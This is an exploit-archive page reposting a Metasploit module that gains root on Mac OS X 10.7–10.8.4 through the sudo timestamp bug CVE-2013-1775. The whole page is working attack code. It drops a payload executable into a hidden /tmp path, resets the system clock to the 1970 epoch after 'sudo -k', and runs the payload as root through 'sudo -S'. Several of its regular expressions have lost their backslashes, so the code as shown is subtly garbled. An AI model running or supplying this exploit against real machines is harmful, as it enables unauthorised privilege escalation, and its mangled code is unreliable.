Home / exploitsPDF  

Mac OS X 10.8.4 Sudo Password Bypass Vulnerability

Posted on 27 August 2013

<pre>## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # # http://metasploit.com/ ## require 'shellwords' class Metasploit3 &lt; Msf::Exploit::Local # ManualRanking because it's going to modify system time # Even when it will try to restore things, user should use # it at his own risk Rank = NormalRanking include Msf::Post::Common include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper SYSTEMSETUP_PATH = &quot;/usr/sbin/systemsetup&quot; SUDOER_GROUP = &quot;admin&quot; VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']] # saved clock config attr_accessor :time, :date, :networked, :zone, :network_server def initialize(info={}) super(update_info(info, 'Name' =&gt; 'Mac OS X Sudo Password Bypass', 'Description' =&gt; %q{ This module gains a session with root permissions on versions of OS X with sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4, and possibly lower versions. If your session belongs to a user with Administrative Privileges (the user is in the sudoers file and is in the &quot;admin group&quot;), and the user has ever run the &quot;sudo&quot; command, it is possible to become the super user by running `sudo -k` and then resetting the system clock to 01-01-1970. This module will fail silently if the user is not an admin or if the user has never run the sudo command. }, 'License' =&gt; MSF_LICENSE, 'Author' =&gt; [ 'Todd C. Miller', # Vulnerability discovery 'joev &lt;jvennix[at]rapid7.com&gt;', # Metasploit module 'juan vazquez' # testing/fixing module bugs ], 'References' =&gt; [ [ 'CVE', '2013-1775' ], [ 'OSVDB', '90677' ], [ 'BID', '58203' ], [ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ] ], 'Platform' =&gt; 'osx', 'Arch' =&gt; [ ARCH_X86, ARCH_X86_64, ARCH_CMD ], 'SessionTypes' =&gt; [ 'shell', 'meterpreter' ], 'Targets' =&gt; [ [ 'Mac OS X x86 (Native Payload)', { 'Platform' =&gt; 'osx', 'Arch' =&gt; ARCH_X86 } ], [ 'Mac OS X x64 (Native Payload)', { 'Platform' =&gt; 'osx', 'Arch' =&gt; ARCH_X86_64 } ], [ 'CMD', { 'Platform' =&gt; 'unix', 'Arch' =&gt; ARCH_CMD } ] ], 'DefaultTarget' =&gt; 0, 'DisclosureDate' =&gt; 'Feb 28 2013' )) register_advanced_options([ OptString.new('TMP_FILE', [true,'For the native targets, specifies the path that '+ 'the executable will be dropped on the client machine.', '/tmp/.&lt;random&gt;/&lt;random&gt;'] ), ], self.class) end # ensure target is vulnerable by checking sudo vn and checking # user is in admin group. def check if cmd_exec(&quot;sudo -V&quot;) =~ /versions+([^s]*)s*$/ sudo_vn = $1 sudo_vn_parts = sudo_vn.split(/[.p]/).map(&amp;:to_i) # check vn between 1.6.0 through 1.7.10p6 # and 1.8.0 through 1.8.6p6 if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES) print_error &quot;sudo version #{sudo_vn} not vulnerable.&quot; return Exploit::CheckCode::Safe end else print_error &quot;sudo not detected on the system.&quot; return Exploit::CheckCode::Safe end if not user_in_admin_group? print_error &quot;sudo version is vulnerable, but user is not in the admin group (necessary to change the date).&quot; Exploit::CheckCode::Safe end # one root for you sir Exploit::CheckCode::Vulnerable end def exploit if not user_in_admin_group? fail_with(Exploit::Failure::NotFound, &quot;User is not in the 'admin' group, bailing.&quot;) end # &quot;remember&quot; the current system time/date/network/zone print_good(&quot;User is an admin, continuing...&quot;) # drop the payload (unless CMD) if using_native_target? cmd_exec(&quot;mkdir -p #{File.dirname(drop_path)}&quot;) write_file(drop_path, generate_payload_exe) register_files_for_cleanup(drop_path) cmd_exec(&quot;chmod +x #{[drop_path].shelljoin}&quot;) print_status(&quot;Payload dropped and registered for cleanup&quot;) end print_status(&quot;Saving system clock config...&quot;) @time = cmd_exec(&quot;#{SYSTEMSETUP_PATH} -gettime&quot;).match(/^time: (.*)$/i)[1] @date = cmd_exec(&quot;#{SYSTEMSETUP_PATH} -getdate&quot;).match(/^date: (.*)$/i)[1] @networked = cmd_exec(&quot;#{SYSTEMSETUP_PATH} -getusingnetworktime&quot;) =~ (/On$/) @zone = cmd_exec(&quot;#{SYSTEMSETUP_PATH} -gettimezone&quot;).match(/^time zone: (.*)$/i)[1] @network_server = if @networked cmd_exec(&quot;#{SYSTEMSETUP_PATH} -getnetworktimeserver&quot;).match(/time server: (.*)$/i)[1] end run_sudo_cmd end def cleanup print_status(&quot;Resetting system clock to original values&quot;) if @time cmd_exec(&quot;#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}&quot;) unless @zone.nil? cmd_exec(&quot;#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}&quot;) unless @date.nil? cmd_exec(&quot;#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}&quot;) unless @time.nil? if @networked cmd_exec(&quot;#{SYSTEMSETUP_PATH} -setusingnetworktime On&quot;) unless @network_server.nil? cmd_exec(&quot;#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}&quot;) end end print_good(&quot;Completed clock reset.&quot;) if @time end private def run_sudo_cmd print_status(&quot;Resetting user's time stamp file and setting clock to the epoch&quot;) cmd_exec( &quot;sudo -k; &quot;+ &quot;#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT&quot;+ &quot; -setdate 01:01:1970 -settime 00:00&quot; ) # Run Test test = rand_text_alpha(4 + rand(4)) sudo_cmd_test = ['sudo', '-S', [&quot;echo #{test}&quot;].shelljoin].join(' ') print_status(&quot;Testing that user has sudoed before...&quot;) output = cmd_exec('echo &quot;&quot; | ' + sudo_cmd_test) if output =~ /incorrect password attemptss*$/i fail_with(Exploit::Failure::NotFound, &quot;User has never run sudo, and is therefore not vulnerable. Bailing.&quot;) elsif output =~ /#{test}/ print_good(&quot;Test executed succesfully. Running payload.&quot;) else print_error(&quot;Unknown fail while testing, trying to execute the payload anyway...&quot;) end # Run Payload sudo_cmd_raw = if using_native_target? ['sudo', '-S', [drop_path].shelljoin].join(' ') elsif using_cmd_target? ['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ') end ## to prevent the password prompt from destroying session ## backgrounding the sudo payload in order to keep both sessions usable sudo_cmd = 'echo &quot;&quot; | ' + sudo_cmd_raw + ' &amp; true' print_status &quot;Running command: &quot; print_line sudo_cmd output = cmd_exec(sudo_cmd) end # helper methods for accessing datastore def using_native_target?; target.name =~ /native/i; end def using_cmd_target?; target.name =~ /cmd/i; end def drop_path @_drop_path ||= datastore['TMP_FILE'].gsub('&lt;random&gt;') { Rex::Text.rand_text_alpha(10) } end # checks that the user is in OSX's admin group, necessary to change sys clock def user_in_admin_group? cmd_exec(&quot;groups `whoami`&quot;).split(/s+/).include?(SUDOER_GROUP) end # helper methods for dealing with sudo's vn num def parse_vn(vn_str); vn_str.split(/[.p]/).map(&amp;:to_i); end def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']]) vn_parts = parse_vn(vn) ranges.any? do |range| min_parts = parse_vn(range[0]) max_parts = parse_vn(range[1]) vn_parts.all? do |part| min = min_parts.shift max = max_parts.shift (min.nil? or (not part.nil? and part &gt;= min)) and (part.nil? or (not max.nil? and part &lt;= max)) end end end end </pre>

 

TOP